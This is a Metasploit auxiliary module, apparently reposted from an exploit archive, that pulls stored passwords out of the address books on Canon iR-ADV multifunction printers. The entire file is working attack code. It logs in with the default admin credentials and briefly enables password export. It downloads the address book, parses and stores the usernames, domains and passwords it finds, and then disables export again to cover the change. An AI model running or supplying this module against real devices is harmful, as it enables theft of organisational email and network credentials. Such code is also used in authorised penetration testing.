Share
## https://sploitus.com/exploit?id=PACKETSTORM:180996
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Canon IR-Adv Password Extractor',  
'Description' => %q{  
This module will extract the passwords from address books on various Canon IR-Adv mfp devices.  
Tested models:  
iR-ADV C2030,  
iR-ADV 4045,  
iR-ADV C5030,  
iR-ADV C5235,  
iR-ADV C5240,  
iR-ADV 6055,  
iR-ADV C7065  
},  
'Author' =>  
[  
'Deral "Percentx" Heiland',  
'Pete "Bokojan" Arzamendi',  
'wvu',  
'Dev Mohanty'  
],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", false]),  
OptInt.new('ADDRSBOOK', [ true, 'The number of the address book to extract 1-11', 1]),  
Opt::RPORT(8000),  
OptString.new('USER', [ true, 'The default Admin user', '7654321']),  
OptString.new('PASSWD', [ true, 'The default Admin password', '7654321']),  
OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])  
  
])  
end  
  
def run_host(ip)  
print_status("Attempting to extract passwords from the address books on the MFP at #{rhost}")  
login(ip)  
end  
  
#Authenticate to management function on Canon MFP and build needed cookies for dta harvesting  
def login(ip)  
vars_post = {  
"uri" => "%2f",  
"deptid" => "#{datastore['USER']}",  
"password" => "#{datastore['PASSWD']}"  
}  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri('/login'),  
'vars_post' => vars_post  
}, datastore['TIMEOUT'].to_i)  
end  
  
#grab Canon sessionid cookie  
idcookie = res.nil? ? nil : res.get_cookies  
  
if res && (res.code == 301 || res.code == 302 && res.headers.include?('Location'))  
print_good("#{rhost} - SUCCESSFUL login with USER='#{datastore['USER']}' : PASSWORD='#{datastore['PASSWD']}'")  
  
#grab Canon IR= session cookie  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('/rps/nativetop.cgi?RUIPNxBundle=&CorePGTAG=PGTAG_CONF_ENV_PAP&Dummy=1400782981064'),  
'headers' => {'Cookie' => "#{idcookie}"},  
}, datastore['TIMEOUT'].to_i)  
ircookie = res.nil? ? nil : res.get_cookies  
cookies=("#{idcookie}; #{ircookie}")  
  
set_allow(cookies)  
extract(cookies, ip)  
set_disallow(cookies)  
  
else  
print_error("Failed to login on #{rhost}. Please check the password for the #{datastore['USER']} account ")  
end  
end  
  
  
# Set the allow password export to on  
def set_allow(cookies)  
vars_post = {  
"ADRSEXPPSWDCHK" => "0",  
"PageFlag" => "c_adrs.tpl",  
"Flag" => "Exec_Data",  
"CoreNXAction" => "./cadrs.cgi",  
"CoreNXPage" => "c_adrexppass.tpl",  
"CoreNXFlag" => "Init_Data",  
"Dummy" => "1359048058115"  
}  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri('/rps/cadrs.cgi'),  
'vars_post' => vars_post,  
'headers' => {'Cookie' => "#{cookies}"},  
}, datastore['TIMEOUT'].to_i)  
end  
end  
  
# Extract the address book data and save out to loot  
def extract(cookies, ip)  
vars_post = {  
"AID" => "#{datastore['ADDRSBOOK']}",  
"ACLS" => "1",  
"ENC_MODE" => "0",  
"ENC_FILE" => "password",  
"PASSWD" => "",  
"PageFlag" => "",  
"AMOD" => "",  
"Dummy" => "1359047882596",  
"ERR_PG_KIND_FLG" => "Adress_Export"  
}  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri('/rps/abook.ldif'),  
'vars_post' => vars_post,  
'headers' => {'Cookie' => "#{cookies}"},  
}, datastore['TIMEOUT'].to_i)  
address_book = res.nil? ? nil : res.body  
print_status("#{address_book}")  
  
#Woot we got loot.  
loot_name = "canon.iradv.addressbook"  
loot_type = "text/plain"  
loot_filename = "Canon-addressbook.text"  
loot_desc = "Canon Addressbook Harvester"  
p = store_loot(loot_name, loot_type, datastore['RHOST'], address_book , loot_filename, loot_desc)  
print_good("Credentials saved in: #{p}")  
  
harvest_ldif(address_book, ip)  
end  
  
# Reset the allow password export to off  
def set_disallow(cookies)  
vars_post = {  
"ADRSEXPPSWDCHK" => "1",  
"PageFlag" => "c_adrs.tpl",  
"Flag" => "Exec_Data",  
"CoreNXAction" => "./cadrs.cgi",  
"CoreNXPage" => "c_adrexppass.tpl",  
"CoreNXFlag" => "Init_Data",  
"Dummy" => "1359048058115"  
}  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri('/rps/cadrs.cgi'),  
'vars_post' => vars_post,  
'headers' => {'Cookie' => "#{cookies}"},  
}, datastore['TIMEOUT'].to_i)  
end  
  
# Harvest Credential  
def harvest_ldif(address_book, ip)  
harvest_file(address_book, ip)  
end  
  
def harvest_credentials(mailaddress, pwd, ip)  
return if mailaddress == nil  
username_domain = mailaddress.split('@')  
username = username_domain[0]  
domain = username_domain[1]  
  
service_data = {  
address: Rex::Socket.getaddress(ip),  
port: rport,  
protocol: 'tcp',  
service_name: ssl ? 'https' : 'http',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: self.fullname,  
username: username,  
private_data: pwd,  
private_type: :password  
}  
  
create_credential(credential_data.merge(service_data))  
  
print_good "Domain: #{domain}\nUser: #{username}\nPassword: #{pwd}\n\r"  
end  
  
def harvest_file(ldif, ip)  
users = []  
ldif.split("\r\n\r\n").each do |user|  
user_attributes = {}  
user.split("\r\n").each do |attribute|  
attribute_array = attribute.split(": ")  
attr_name = attribute_array.shift  
attr_value = attribute_array.join  
user_attributes[attr_name] = attr_value  
end  
harvest_credentials((user_attributes['username'] || user_attributes['mailaddress'] || user_attributes['mail']), user_attributes['pwd'], ip)  
users << user_attributes  
end  
end  
end